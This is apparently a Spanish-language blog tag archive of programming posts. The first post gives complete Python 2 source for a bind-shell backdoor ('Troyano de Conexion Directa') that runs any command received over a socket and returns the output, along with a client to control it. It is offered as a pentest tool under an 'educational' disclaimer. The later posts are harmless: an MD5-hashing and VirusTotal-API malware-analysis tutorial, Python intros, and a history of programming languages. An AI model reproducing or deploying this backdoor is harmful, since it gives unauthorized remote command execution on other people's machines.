Tag Archive programacion

BySin Rostro

Creando un backdoor en python

Vamos a crear un backdoor en pythonūüėąūüėąūüėąūüėąūüėąūüėąūüėąūüėąūüėą, para que nos ayude en nuestras pruebas de pentest, nos servira cuando no podamos hacer uso de otros metodos de backdoring.

 

Este backdoor es de Conexion Directa. Trate de dejarlo lo mas comentado posible Saludos Hackers.

import sys, os
import socket
import getopt
import threading
import subprocess

# Definimos algunas variables globales
listen             = False
command            = False
target             = ""
port               = 0

# Vamos a definir una funcion que nos provea 
# de ayuda
def usage():
    print "\n\tTroyano de Conexion Directa"
    print 
    print "Uso: backdoor.py -t target_host -p port"
    print "-l --listen                       escuchar en [host]:[port]"
    print "-s --shell                      inicializa una shell"
    print
    print
    print "Ejemplos: "
    print "python backdoor.py -t 192.168.1.1 -p 5555 -l -s"
    print "\tPara dejar en escucha una shell"
    print "python backdoor.py -t 192.168.1.1 -p 5555"
    print "\tPara conectarse a una shell"
    print "\nSimple Backdoor de Conexion Directa para los"
    print "Miembros de la Comunidad de Hacking Publico & Sistemas Informaticos"
    print "el Creador de este codigo o cualquier Miembro de Hacking Publico"
    print "NO se hacen responsables por el uso que le puedan dar a este codigo,"
    print "el cual esta hecho con fines Educativos."
    sys.exit(0)

# Funcion que se encargara de el cliente
# osea la computadora que se conecta al 
# backdoor 
def client_sender():
    # Creamos el socket
    cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    try:
        # Hacemos la conexion al servidor/backdoor
        cliente.connect((target, port))
        # Aqui solo te pregunto tu nickname
        nickname = raw_input("Cual es tu nickname ? ")
        # Lo concateno (Tu nick) con otra cadena
        nickname += "@hacker ~:#"
        # Envio un whoami (Para que sepamos que 
        # usuario somos en el equipo comprometido)
        cliente.send("whoami")
        # Recibimos el usuario
        usuario = cliente.recv(1024)
        # Y lo imprimimos
        print "Eres el usuario: \t%s" % usuario
        
        while True:
            # Esperamos por mas input           
            buff = raw_input("%s " % nickname)
            
            # Enviamos comando
            cliente.send(buff)
            # El data es la respuesta del comando 
            # que Enviamos
            data      = cliente.recv(1024)

            print data
            
            # Si el comando es "exit"
            # nos desconectamos del servidor/backdoor
            # si es limpiar pantalla 
            # la limpiamos 
            try:
                if "exit" in buff:
                    cliente.send("exit")
                    cliente.close()
                    print "Bye, Bye!!!"
                    break     
                if "cls" or "clear" in buff:
                    if os.name('nt'):
                        os.system("cls")
                    else:
                        os.system("clear")
            except:
                continue
                        
    except:
        # Si hubo un error se produce una Excepcion
        # y salimos del script
        print "[*] Excepcion! Saliendo!!!"
        cliente.close()
        
def server_loop():
    global target
    
    # Si no indicamos la opcion -t
    # el server toma esta direccion
    if not len(target):
        target = "0.0.0.0"
    
    # Creamos el socket para las conexiones 
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target, port))
    server.listen(5)
    
    # Creamos un hilo por cada cliente que se conecte
    try:
        while True:
            client_socket, addr = server.accept()
            
            client_thread = threading.Thread(target=client_handler,
                                             args=(client_socket,))
            print "[*] Nuevo cliente conectado %s" % socket.gethostname()
            client_thread.start()
            
    except KeyboardInterrupt:
        print "Se ha detenido el server"
        sys.exit(1)        
        
        
def run_command(command):

    command = command.rstrip()

    
    try:
        output = subprocess.check_output(command, stderr=subprocess.STDOUT, 
                                         shell=True)
    except:
        output = "Fallo al ejecutar el comando.\r\n"
 
    return output

def client_handler(client_socket):
    global command
     
    if command:
        while True:
            

            cmd_buff = client_socket.recv(1024)

            if "exit" in cmd_buff:
                print "El cliente %s se DESCONECTO." % socket.gethostname()
                client_socket.close()
                break                    
            
            response = run_command(cmd_buff)
            
            client_socket.send(response)
            
def main():
    global listen
    global port
    global command
    global target
    
    # aqui verificamos que el usuario haya
    # dado opciones, si no, imprime el modo
    # de uso (funcion usage() )
    if not len(sys.argv[1:]):
        usage()
    
    # Si el usuario dio opciones las leemos 
    # para verificar que sean validas, despues 
    # ejecutar lo correspondiente
    try:
        opts, args = getopt.getopt(sys.argv[1:], "hlt:p:s", ["help", "listen", "target",
                                                             "port", "shell"])
    except getopt.GetoptError as err:
        print str(err)
        usage()
    
    for o,a in opts:
        if o in ("-h", "--help"):
            usage()
        elif o in ("-l", "--listen"):
            listen = True
        elif o in ("-s", "--shell"):
            command = True
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-p", "--port"):
            port = int(a)     
        else:
            assert False, "Opcion no valida"
            
    if not listen and len(target) and port > 0:
        client_sender()
    if listen:
        server_loop()

main()

 

BySin Rostro

Reversing en Malware 2 – Hashing.

Un hash es un algoritmo matem√°tico que es generado/creado a partir de una entrada como un texto, una contrase√Īa o un archivo. Pero hoy lo usaremos en an√°lisis de malware ūüėą.

¬ŅNOS SIRVE EN AN√ĀLISIS DE MALWARE?

La respuesta es si.

Los hash son generados tomando bloques de datos arbitrarios y devolviendo una serie de caracteres con una longitud especifica. Es decir que a partir de los datos de entrada se genera la cadena que solo puede volverse a generar con esos mismos datos. Bueno en teoría eso debe de pasar pero en algunos casos como el de SHA1 que en meses anteriores ha sido colisionado por Investigadores de Google.

Aun as√≠ existen muchos m√°s algoritmos. En nuestro caso vamos a estar utilizando MD5. ¬ŅPero? que es exactamente y como es que funciona.

Ya saben que no me gusta atiborrarlos de informaci√≥n adem√°s de que no estamos en un curso de cifrado ūüėÜ, as√≠ que tratare de explicarles en practica.

Imagina que estas descargando un archivo “juego.exe”, en la p√°gina del desarrollador menciona que el MD5 es:

8033E2DDE927771A125F26A158C282A3

Pero al descargarlo te das cuenta de que el MD5 que generas tu con ese mismo archivo es:

5F778048775E0ECE6DBB97B6997019B2

Claramente no es igual lo que nos da a pensar de acuerdo a la introducci√≥n de m√°s arriba, que el archivo tiene bloques de datos diferentes al archivo que han desarrollado los creadores, con esto podr√≠amos concordar en que este archivo puede contener c√≥digo que bien podr√≠a o no, ser malicioso ūüėąūüėą.

Pasemos a la practica ūüėČ

Tengo aquí un archivo.

Utilizare una utilidad llamada “QuickHash”

Después de abrir el archivo con la utilidad y elegir MD5 nos genera la cadena correspondiente a ese archivo

Y así de sencillo podríamos obtener el MD5 de los archivos. Bien con eso ya sabemos una manera de obtener MD5, pero para que nos sirve el MD5 en análisis de malware?

Bueno imagina que este archivo es un sample que tienes que analizar, para no subir el archivo completo a un motor de b√ļsqueda que te ayude a saber si es o no una amenaza (ya sabes puede pesar mucho y aveces nuestras datas no alcanzan ūüėā), bueno pues con el MD5 podemos averiguar lo que queremos.

Para ello usaremos un sitio bastante conocido virusTotal y con el MD5 obtenido veremos los resultados que nos arroja.

Quiero que vean algo, el primer par√°metro, el que esta arriba del nombre del archivo dice:

SHA256: 46532f3def025aca4da1fa5646f5d19fafb2ec00e3b262ad87712ec6756902f9

Este es un tipo de hash yo ingrese el MD5 no el SHA256. Lo que sucede es que ese motor de b√ļsqueda calcula adem√°s del MD5 otros datos para que se tenga total certeza de que hablamos del mismo:

Y ahora mi parte Favorita ūüėć

Hazlo con python ūüėĀ

He desarrollado un peque√Īo script en python que nos calcula el MD5 del archivo.

# Script en python para calcular Hash MD5
# Analizar Samples
# Desarrollado por Eric Alberto Martínez
# Hacking Publico & sistemas inform√°ticos
# AguasHack - No Hacking No Fun
# Versión 1.0
''' Este script permite calcular el Hash MD5 de archivos
  
    el código puede ser manipulado y/o copiado manteniendo las 
    11 primeras lineas de código.
''' 

# Importar librerías
import hashlib

# Acontinuación creamos una función
# que nos permitira abrir un archivo leer
# sus datos y generar su Hash MD5
 
def calcularMd5(archivo):
  archivo = open(archivo, 'rb')
  print "\nEl MD5 es: " + hashlib.md5(archivo.read()).hexdigest()
  archivo.close()

print "Hola, Ingresa la ruta del archivo"
archivo = raw_input("\n::> ")
calcularMd5(archivo)

Y., uno más un poco mejor elaborado, con este script interactuamos con el sitio de Virus Total para obtener los resultados del sitio. El script aun esta en desarrollo le quiero dar un poco más de formato, teniendo en cuenta que lo acaba de crear creo que es funcional y para nuestras pruebas durante las próximas entradas sera suficiente.

Como puedes ver son los mismos resultados que nos genero en la web de virustotal

– Nota:¬† Trate de dejarlo lo m√°s simple posible le a√Īad√≠ comentarios a casi todo el c√≥digo para que sea un poco m√°s f√°cil de entender.

# Analizar Samples 
# Api VirusTotal
# Desarrollado por Eric Alberto Martinez
# Hacking Publico & sistemas informaticos
# AguasHack - No Hacking No Fun
# Version 1.0
''' Este script permite calcular el Hash MD5 de archivos
    y manipular los resultados obtenidos en Virus Total,
    el codigo puede ser manipulado y/o copiado manteniendo las 
    11 primeras lineas de codigo.
''' 
# Importamos librerias

import requests
import hashlib

# Tu llave API de virus Total (Tienes que registrarte)
apiKey = ''
    
# clase para obtener datos o subir archivos
class virusApi:
    

    # Funcion para escanear un archivo
    def escanear(self, apiKey, archivo):
        print "Analisando el archivo...\n"
        # Configuramos la APIKEY
        params = {'apikey': apiKey}
        # Abrimos el archivo en modo binario                                    
        files = {'file': (archivo, open(archivo, 'rb'))} 
        # Hacemos la peticion al sitio              
        response = requests.post('https://www.virustotal.com/vtapi/v2/file/scan', 
                                files=files, params=params)
        # obtenemos la respuesta del sitio
        json_response = response.json()                                 
    
    # Funcion para Re-escanear
    def rescanear(self, apiKey, md5):
        # confirguramos la APIKEY y el hashMD5
        params = {'apikey': apiKey, 
                'resource': md5}                                        
        # Hacemos la peticion al sitio
        response = requests.post('https://www.virustotal.com/vtapi/v2/file/rescan',
                                params=params)
        # Obtenemos la Respuesta del sitio                          
        json_response = response.json()                                 
    
    # Funcion para Obtener los resultados de un analisis
    def obtenerResultados(self, apiKey, md5):
        print "Obteniendo Resultados...\n"
        # Configuramos la APIKEY y el HashMD5
        params = {'apikey': apiKey, 
                'resource': md5} 
        # Creamos las cabeceras                                     
        headers = {
          "Accept-Encoding": "gzip, deflate",
          "User-Agent" : "gzip,  Mi Aplicacion python para VirusTotal"
          }     
        # hacemos la peticion al sitio                                                      
        response = requests.get('https://www.virustotal.com/vtapi/v2/file/report',
                                params=params, headers=headers)
        # obtenemos la respuesta del sitio      
        json_response = response.json() 
        # obtenemos solo las claves de la respuesta                             
        claves = json_response.keys()   
        # declare una variable                              
        x = 'scans'     
        # ciclo para obtener los primeros resultados excepto los de la deteccion                                                 
        for clave, valor in json_response.items():  
            # si la clave no es igual a 'scans'                 
            if clave != x:
                # imprimimos los primeros resultados                                                
                print clave, ':\t\t', valor
        # declaramos una lista                          
        lista = []
        # ciclo para obtener las claves del segundo resultado                                                       
        for i in json_response['scans'].keys(): 
            # agrega cada clave a la lista                              
            lista.append(i) 
            # Reasignamos la variable                                           
            j = json_response
            # Variable que contiene si el archivo es detectado o no p/c antivirus                                           
            detectado = str(j['scans'][i]['detected'])
            # Variable que contiene el tipo de amenaza que es detectada p/c antivirus                  
            resultado = str(j['scans'][i]['result'])
            # imprimimos el resultado                   
            print i + "\t\t" + detectado + "\t\t" + resultado           

# Instanciamos la clase
virusTotal = virusApi()                                                 
'''
Creo que apartir de aqui el codigo no necesita explicacion
ya que son cosas basicas que son faciles de entender, aun 
asi si existen dudas no duden en comentar en el grupo de
Hacking Publico & sistemas informaticos
'''
print "\nHola, Bienvenido\nQue deseas hacer?"
print '''
[1] Escanear
[2] Re Escanear
[3] Obtener resultados
'''
eleccion = raw_input("\n::> ")
if eleccion == '1':
    archivo = raw_input("\nIngresa la ruta del archivo \n::> ")
    virusTotal.escanear(apiKey, archivo)                                
    archivo = open(archivo, 'rb')
    # Calculamos el MD5 del archivo                                     
    md5 = hashlib.md5(archivo.read()).hexdigest()                       
    archivo.close()
    print "El hashMD5 del archivo es: " + md5
    virusTotal.obtenerResultados(apiKey, md5)
elif eleccion == '2':
    archivo = raw_input("\nIngresa la ruta del archivo \n::> ")
    archivo = open(archivo, 'rb')
    # Calculamos el MD5 del archivo
    md5 = hashlib.md5(archivo.read()).hexdigest()
    archivo.close()
    print "El hashMD5 del archivo es: " + md5
    virusTotal.rescanear(apiKey, md5)
    virusTotal.obtenerResultados(apiKey, md5)
else:
    archivo = raw_input("\nIngresa la ruta del archivo \n::> ")
    archivo = open(archivo, 'rb')
    # Calculamos el MD5 del archivo
    md5 = hashlib.md5(archivo.read()).hexdigest()
    archivo.close()
    print "El hashMD5 del archivo es: " + md5
    virusTotal.obtenerResultados(apiKey, md5)

Bueno hasta aqu√≠ esta entrada creo que lo han tomado bien,¬†ūüėÖūüėÖ nos leemos en la pr√≥xima entrada.

Saludos Hackers!

BySin Rostro

Intro a Python 2

Bueno pues esta vez les traigo la segunda parte de la introducción a python, hablamos acerca de Scapy y lo poderoso que puede llegar a ser si se aprende a usar de forma correcta y de como es posible remplazar con este muchas de las herramientas de red que existen y por ultimo les muestro lo que se puede llegar a realizar con un script de python }:)

Moviéndonos con Scapy

BySin Rostro

Intro a python

Hablamos sobre el interprete y las caracter√≠sticas b√°sicas de python, como los tipos de datos, como trabajar con listas, funciones, ciclos, estructuras de control y todo lo b√°sico que debes de saber¬† para poder adentrarse a este maravilloso lenguaje. Ven acompa√Īanos a este maravilloso viaje.

Introducción a Python

Bycarenki

Lenguajes de programación -y II

Breve Semblanza de Lenguajes de Programación

Existen cientos de lenguajes de programación, por lo que resulta ocioso para este tipo de escrito hacer una relación detallada de dichos lenguajes, además muchos de ellos son dialectos o implementaciones específicas de los mismos para máquinas específicas.

Dicho esto, solo se hará una descripción general de algunos de los programas más representativos e importantes que existen o han existido.

Lenguaje Ensamblador

Ya mencion√© el lenguaje ensamblador, que puede considerarse el primer lenguaje de programaci√≥n que existi√≥ despu√©s del lenguaje m√°quina. A principios de los 50 se cre√≥ una notaci√≥n simb√≥lica, denominada c√≥digo de ensamblaje (ASSEMBLY), al principio, la traducci√≥n del c√≥digo de ensamblaje al c√≥digo m√°quina se realizaba manualmente, pero enseguida se vio que el ordenador tambi√©n pod√≠a encargarse de esa traducci√≥n; se desarroll√≥ as√≠ un programa traductor, llamado ensamblador (ASSEMBLER). Cabe se√Īalar que existe uno o varios ensambladores para cada microprocesador.

 Conforme se difundió el uso de las computadoras en las empresas y universidades el uso del lenguaje ensamblador fue reemplazado por otros más sencillos de aprender y más cómodos de emplear. Estos lenguajes, llamados de alto nivel, tienen una estructura que se adapta más al pensamiento humano que a la forma de trabajar del ordenador.

Programa Hola Mundo en Lenguaje Ensamblador

Programa Hola Mundo en Lenguaje Ensamblador

 

PLANKALK√úL

Podr√≠amos decir que es el antepasado de los modernos lenguajes de programaci√≥n. Fue creado por Konrad Zuse, a mediados de los 40, para su serie de m√°quinas Z. Su nombre es una combinaci√≥n de las palabras Plan y Kalk√ľl, as√≠ que podr√≠a traducirse por “plan de c√°lculo”.

Programa Hola Mundo en Lenguaje Plankalk√ľl

Programa Hola Mundo en Lenguaje Plankalk√ľl

 

SHORT CODE

Basándose en las ideas de John W. Mauchly, William F. Schmitt creó este lenguaje interpretado en 1950 y fue utilizado en la primera serie de UNIVAC. Es considerado el precursor de los lenguajes de alto nivel.

Programa Hola Mundo en SHORT CODE

Función en SHORT CODE

 

FORTRAN

En 1956 John Backus terminó el compilador FORTRAN (FORmula TRANslator) y se incluyó en el IBM 704, junto con un manual de 51 páginas. Este lenguaje estaba basado en el programa SPEEDCODING desarrollado por él para uso personal.

Como su nombre indica, FORTRAN estaba (y está) destinado a la resolución de problemas científico-técnicos, resultando relativamente sencillo de aprender si se domina la notación matemática.

Este lenguaje se ha visto superado por los lenguajes modernos, sin embargo, se sigue utilizando, sobre todo en el √°mbito universitario. ¬ŅPor qu√©? La respuesta radica en la gran biblioteca de subrutinas y funciones que se ha ido creando en sus m√°s de cincuenta a√Īos de existencia.

Programa Hola Mundo en Fortran

Programa Hola Mundo en Fortran

 

ALGOL

El objetivo de ALGOL fue obtener un lenguaje universal, que no dependiera de la máquina donde se implementara, se formó un comité internacional, formado por la ACM (Association for Computing Machinery) y la GAMM (siglas alemanas de la Sociedad para las Matemáticas aplicadas), que, en 1958, publicó en Zurich un informe dando carta de nacimiento al IAL (International Algebraic Language), posteriormente denominado ALGOL 58 (ALGOritmic Language). Su versión operativa se presentó en Paris en 1960 y, más adelante, fue perfeccionada (ALGOL 68). Aunque ha caído en desuso, su influencia ha sido decisiva en el desarrollo de los lenguajes de programación posteriores, ya que muchos de los más importantes (PASCAL, C, ADA, JAVA, etc.) descienden, directa o indirectamente, de ALGOL.

Programa Hola Mundo en Algol

Programa Hola Mundo en Algol

 

COBOL

COBOL se desarroll√≥ a partir de una iniciativa del Departamento de Defensa de Estados Unidos, patrocin√≥ una conferencia sobre lenguajes (CODASYL, COnference on DAta SYstems Languages), en 1959 y en la que participaron las grandes empresas del sector (IBM, Sperry Rand, Honey Well, etc.). Fruto de aquella conferencia fueron las especificaciones para desarrollar COBOL (COmmon Business Oriented Language), un lenguaje orientado hacia funciones administrativas, de gran portabilidad y legibilidad. Su primera versi√≥n apareci√≥ al a√Īo siguiente. COBOL tiene una sintaxis muy similar al ingl√©s com√ļn.

En la actualidad, COBOL se utiliza casi exclusivamente en algunos grandes sistemas informáticos (entidades bancarias, sobre todo), si bien más para mantener el código existente que para desarrollar nuevas aplicaciones.

Programa Hola Mundo en Cobol

Programa Hola Mundo en Cobol

 

PL/I

Este lenguaje fue desarrollado por IBM, a partir de 1963, que deseaba un lenguaje polivalente, en el sentido de que podía aplicarse tanto a gestión como al ámbito científico. Buscando aunar las ventajas de COBOL, FORTRAN y ALGOL, PL/I resultó un lenguaje muy flexible y potente, por lo que todavía sigue en uso.

Programa Hola Mundo en PL/I

Programa Hola Mundo en PL/I

 

BASIC

John G. Kemeny y Thomas E. Kurtz en 1964, dise√Īaron un nuevo lenguaje que permitiera introducirse a sus estudiantes en los sistemas de tiempo compartido. Ese lenguaje, al que llamaron BASIC por su sencillez5, es, sin duda, el m√°s difundido, aplic√°ndose tanto en tareas de gesti√≥n como en aplicaciones cient√≠ficas.

No era el mejor lenguaje ni el m√°s potente, pero ten√≠a dos ventajas a su favor: se trataba de un lenguaje sencillo de aprender y, adem√°s, su int√©rprete ocupaba poca memoria. Por estos motivos, cuando se cre√≥ la primera computadora personal (Altair de MITS), no es extra√Īo que se desarrollase un BASIC para √©l. BASIC ha evolucionado hasta nuestros tiempos siendo el dialecto m√°s popular Visual Basic que ha incorporado todos los paradigmas modernos de programaci√≥n logrando que contin√ļe vigente.

Programa Hola Mundo en Basic

Programa Hola Mundo en Basic

 

SIMULA

Basado en ALGOL, se trata del primer lenguaje orientado a objetos. Fue desarrollado por los noruegos Ole-Johan Dahl y Kristen Nygaard que buscaban un lenguaje adecuado para la simulación de eventos discretos (su nombre es una contracción de Simulation Languaje). Su primer compilador estuvo disponible en 1964, para la serie 1100 de UNIVAC, si bien hasta 1967 no adquirió una amplia funcionalidad. En la actualidad hay disponibles diversas versiones freeware de su compilador.

Programa Hola Mundo en Simula

Programa Hola Mundo en Simula

 

FORTH

Este lenguaje fue creado a finales a los 60 por Charles H. Moore, para controlar los radiotelescopios de Kitt Peak y procesar sus datos. Se trata de un lenguaje22 funcional e interactivo que ha ido evolucionando con el paso del tiempo. Debido a la poca memoria que ocupa y a su rapidez, fue uno de los primeros en difundirse entre los microcomputadoras.

Programa en Forth

Programa en Forth

 

LOGO

Logo es fruto de la influencia que recibi√≥ Seymour Papert colaborando con el pedagogo Jean Piaget. En 1980, Papert lo divulg√≥ en todo el mundo con su libro √≠Mindstorms: Children Computers and Powerful Ideas√ģ (figura 9), fue muy bien acogido en los √°mbitos educativos, especialmente en ense√Īanza primaria y secundaria.

El objetivo de LOGO fue introducir en el mundo de la programaci√≥n al alumnado de menor edad: “Que los ni√Īos programen a los computadoras y no las computadoras a los ni√Īos”

Programa Hola Mundo en Logo

Programa Hola Mundo en Logo

 

C

En 1970, Thompson desarroll√≥ un lenguaje experimental, al que llam√≥ B. Dos a√Īos despu√©s, Ritchie se bas√≥ en B para crear un nuevo lenguaje de prop√≥sito general, que denomin√≥ C. Como no depende de la arquitectura del hardware, C es uno de los lenguajes m√°s portables del mercado y, como adem√°s ofrece amplias prestaciones, su difusi√≥n es ampl√≠sima. A principios de los 80, Bjarne Stroustrup dise√Ī√≥ una ampliaci√≥n de C y, en 1984, la convirti√≥ en un compilador que llam√≥ C++, especialmente enfocado a la programaci√≥n orientada a objetos.

Programa Hola Mundo en C

Programa Hola Mundo en C

 

PASCAL

A principios de los 70, el profesor suizo Niklaus Wirth, del Instituto Politécnico Federal de Zurich, emprendió la creación de un nuevo lenguaje (PASCAL) que permitiera introducirse en la programación de una forma fácil pero a la vez potente y, sobre todo, siguiendo unas pautas estructuradas. De hecho, PASCAL es el lenguaje más sencillo que posibilita el acceso a la informática teórica: descomposición modular, recursividad, punteros, etc.

PASCAL, surgió como una derivación de ALGOL y evolucionó en DELPHI, que amplía PASCAL a la programación visual en un intento por hacerle la competencia a Visual BASIC.

Programa Hola Mundo en Pascal

Programa Hola Mundo en Pascal

 

SMALLTALK

Creado por Alan Kay en el Centro de Investigaciones Xerox de Palo Alto, en los primeros 70, es un lenguaje muy influenciado por SIMULA, estando también orientado a objetos. Tuvo sucesivas versiones (72, 76 y 80) y ofrece un entorno completo para el desarrollo de programas.

Programa Hola Mundo en Smalltalk

Programa Hola Mundo en Smalltalk

 

PROLOG

En 1972, Robert Kowalski (universidad de Edimburgo) y Alain Colmerauer y Phillippe Roussell (universidad de Aix-Marseille) expusieron la revolucionaria idea de que la l√≥gica pod√≠a emplearse como lenguaje de programaci√≥n. Siguiendo esta l√≠nea, al a√Īo siguiente, el grupo de inteligencia artificial de la universidad de Aix-Marseille comenz√≥ a dise√Īar ese lenguaje, al que se llam√≥ PROLOG (PROgramation LOGique).

PROLOG es el prototipo de lenguaje declarativo por excelencia. ¬ŅY qu√© es eso de declarativo? Todos los lenguajes que hemos ido viendo hasta ahora son algor√≠tmicos; es decir, los computadoras se consideran m√°quinas de Turing a las que debemos indicar todos y cada uno de los pasos a seguir para realizar una cierta tarea.

Frente a estos lenguajes imperativos, los declarativos no están basados en órdenes sino en descripciones. En otras palabras, en los programas PROLOG se proporcionan al ordenador una serie de conocimientos sobre un tema, junto con una serie de reglas, y el programa nos contestará todas aquellas preguntas que deseemos hacerle sobre el tema siempre que las respuestas puedan deducirse lógicamente de los conocimientos dados al inicio.

Como es fácil suponer, PROLOG no está destinado al cálculo científico. Su aplicación en el campo de la inteligencia artificial, definiendo objetos y estableciendo relaciones, permite resolver problemas lógicos, desarrollar sistemas expertos, investigar en la comprensión del lenguaje humano, etc.

Programa Hola Mundo en Prolog

Programa Hola Mundo en Prolog

 

ADA

ADA fue un segundo intento del Departamento de Defensa de Estados unidos por uniformar lenguajes de programaci√≥n. Quince a√Īos despu√©s de intentarlo con COBOL, percibi√≥ que su objetivo no se hab√≠a cumplido. Por ese motivo, en 1975 form√≥ un grupo de trabajo para evaluar los lenguajes existentes en aquel entonces, como resultado se concluy√≥ que ninguno de los lenguajes existentes cumplica con los criterios deseados por lo que se propuso la creaci√≥n de un nuevo lenguaje de programaci√≥n. La propuesta de Honeywell-Bull (Francia) fue la elegida, fue dise√Īado por un equipo encabezado por Jean Ichbiah. En un primer momento, se le dio el nombre de DoD-1 pero acab√≥ cambi√°ndose por ADA, en honor de Ada Lovelace.

Los requisitos que debía cumplir el nuevo lenguaje eran:

  • Deb√≠a permitir el dise√Īo de programas modulares y estructurados, de modo que fuesen f√°ciles de leer y de depurar.
  • Era necesario que gestionara sin problemas cualquier perif√©rico dado que deb√≠a controlar instrumentos militares de todo tipo.
  • Ten√≠a que aceptar el trabajo en paralelo, de modo que varios procesos se ejecutaran de forma simult√°nea o cuasisimult√°nea.

A pesar de los a√Īos transcurridos desde entonces y a las mejoras que han ido introduci√©ndose en √©l, lo cierto es que ADA no es un lenguaje popular, salvo por su nombre. Se le reprocha ser un tanto complejo, bastante estricto y s√≥lo apropiado para el desarrollo de grandes programas.

Programa Hola Mundo en Ada

Programa Hola Mundo en Ada

 

JAVA

Este lenguaje, hoy en d√≠a ampliamente utilizado en Internet, fue desarrollado en 1990 por James Gosling, de Sun Microsystems, bas√°ndose en C y C++. ¬ŅUn lenguaje para Internet cuando, en aquella √©poca, la Red estaba casi circunscrita al √°mbito universitario? En realidad, el objetivo de Sun no ten√≠a nada que ver con Internet; era crear un interfaz atractivo e intuitivo para electr√≥nica de consumo (calculadoras, televisi√≥n interactiva, etc.).

Sin embargo, la electr√≥nica de consumo no evolucion√≥ como se esperaba y, durante unos a√Īos, el lenguaje de Gosling permaneci√≥ aparcado, hasta que Bill Joy (cofundador de Sun) consider√≥ que pod√≠a ser interesante para Internet y propuso modificarlo para el nuevo medio. En agosto de 1995, ya con el nombre de JAVA, se present√≥ en sociedad. A pesar de que JAVA resulta un tanto lento en su ejecuci√≥n, es muy popular. Por un lado, es relativamente sencillo y bastante potente; adem√°s, es v√°lido para cualquier plataforma y, sobre todo, muy fiable y seguro, manteniendo alejado a los virus.

Programa Hola Mundo en Java

Programa Hola Mundo en Java

 

PYTHON

Python¬†es un lenguaje de programaci√≥n interpretado creado por Guido van Rossum en el a√Īo 1991. A van Rossum le fue asignado un proyecto en el que ten√≠a que desarrollar un sistema operativo distribuido llamado Amoeba, las condiciones en que se encontraba el CWI, es que ten√≠a implementado un lenguaje de programaci√≥n llamado ABC. Guido decidi√≥ crear un nuevo lenguaje para el proyecto Amoeba, para superar las limitaciones y problemas con los que se encontr√≥.

Se compara habitualmente con Tcl, Perl, Scheme, Java y Ruby. En la actualidad Python se desarrolla como un proyecto de código abierto, administrado por la Python Software Foundation.

La relevancia, soporte y difusión que ha alcanzado Python en el ámbito de la seguridad informática y la programación Web lo hace estar en esta lista de lenguajes emblemáticos.

Programa Hola Mundo en Python

Programa Hola Mundo en Python

 

¬ŅCu√°l es el mejor lenguaje de programaci√≥n?

Respuesta corta: No hay “un mejor lenguaje”, por ello existen cientos de lenguajes y siguen creando nuevos…

Dar√© mi punto de vista personal para responder esta pregunta. Para responder esta pregunta cabr√≠a preguntarte ¬ŅQu√© deseas programar? ¬ŅEn donde? ¬ŅDe qu√© recursos inform√°ticos cuentas? ¬ŅCu√°nto tiempo tienes para el desarrollo? ¬ŅQu√© tan importante es la velocidad y tama√Īo del programa?, as√≠ podr√≠a seguir con las preguntas.

Todo esto para decirte: No hay “mejor lenguaje” en t√©rminos universales, el mejor lenguaje siempre ser√° el que m√°s conozcas, el que mejor se adapte para una tarea, el que aproveche mejor los recursos disponibles… En resumen, el mejor lenguaje de programaci√≥n siempre ser√° el que mejor se adapte para resolver un problema espec√≠fico en un entorno espec√≠fico.

Generaciones de lenguajes de programación

Finalizaré esta sección haciendo mención de lo que se denomina Generaciones de lenguajes de programación

La evoluci√≥n de los lenguajes de programaci√≥n se puede dividir en 5 etapas o generaciones.¬†Cabe se√Īalar que siempre el tema de las “Generaciones” se presta a controversias y discusiones (particularmente la cuarta y quita), en este caso me limito a mencionar las que en lo particular me parece la clasificaci√≥n m√°s clara:

  • Primera generaci√≥n: lenguaje maquina (basado en sistema binario).
  • Segunda generaci√≥n: se crearon los primeros lenguajes ensambladores los cuales reemplazaban en c√≥digo m√°quina con lenguaje simb√≥lico y al igual que el lenguaje m√°quina estaba ligado con la m√°quina sobre la cual se ejecutaba.
  • Tercera generaci√≥n: se crean los primeros lenguajes de alto nivel, los cuales reemplazaron los s√≠mbolos por instrucciones parecidas al lenguaje humano o al de las¬†Matem√°ticas y que son independientes de la m√°quina. Ej. Fortran, C, Pascal, Cobol.
  • Cuarta generaci√≥n:¬†Son los lenguajes capaces de generar c√≥digo por si solos, son los llamados RAD, con lo cuales se pueden realizar aplicaciones sin ser un experto en el lenguaje. Aqu√≠ tambi√©n se encuentran los lenguajes orientados a objetos, haciendo posible la reutilizaci√≥n de partes del c√≥digo para otros programas. Actualmente se discute si estas herramientas son, propiamente hablando, lenguajes. Ej. Todas las herramientas Visual, muchos incluyen en esta categor√≠a a los lenguajes orientados a objetos
  • Quinta generaci√≥n: Lenguajes orientados a la inteligencia artificial. aunque con el fracaso del¬†proyecto japon√©s de la quinta generaci√≥n¬†el nombre ha ca√≠do en desuso. Ej. LISP
Evolución de los lenguajes de programación

Evolución de los lenguajes de programación

 

Con este apartado concluye la secci√≥n “hist√≥rica”, introductoria y descriptiva, solo nos resta justificar en el siguiente cap√≠tulo el lenguaje que hemos elegido desarrollar.

¬ŅTe has quedado con ganas de conocer m√°s lenguajes? Si la respuesta es afirmativa, puedes darte un paseo por la Web Dictionary of Programming Languages, donde encontrar√° referencias y comentarios sobre un centenar y medio de lenguajes

Recuerda, hay mucha informaci√≥n √ļtil interesante que no se ha incluido, te invito a realizar una b√ļsqueda en Internet de lo que te quede duda o que te inquiete, hay mucho por aprender.

Redacción, composición y desarrollo Por Roberto C. González
Para Ethical Hack

 

 

¬ŅDeseas aprender BIEN Seguridad Inform√°tica “desde el principio”?¬†

Deseas participar en nuestro grupo de estudio para aplicar la certificación CEH

Obtendrás información ampliada a la que has leído en este artículo, y material adicional, visita www.ehack.mx/cursos para más información o ecríbenos a ceh@ehack.mx

 


Fuente Im√°genes:

“Evoluci√≥n de los lenguajes de programaci√≥n: by McLibre¬†en¬†McLibre
“Codigo m√°quina”: Imagen cortes√≠a by¬†Wikipedia
“Todas las im√°genes del programa Hola mundo”: Imagen cortes√≠a by¬†Wikipedia
“Hola Mundo en Plankalk√ľl”: Imagen cortes√≠a by Alberto Garc√≠a¬†en¬†adslzone
“Lenguaje intermedio: El CLR de .Net”: Imagen cortes√≠a by¬†MSDN

En la elaboración de este artículo en la sección de lenguajes de programación me apoyé de forma significativa en la obra:  Historia y evolución de los lenguajes de programación de Vicente Trigo Aranda

Así como algunas referencias de:

 

Licencia de Creative CommonsLenguajes de programación I y II by Roberto C. González para Ethical Hack is licensed under a Creative Commons Reconocimiento-NoComercial-CompartirIgual 4.0 Internacional License.

 

Bycarenki

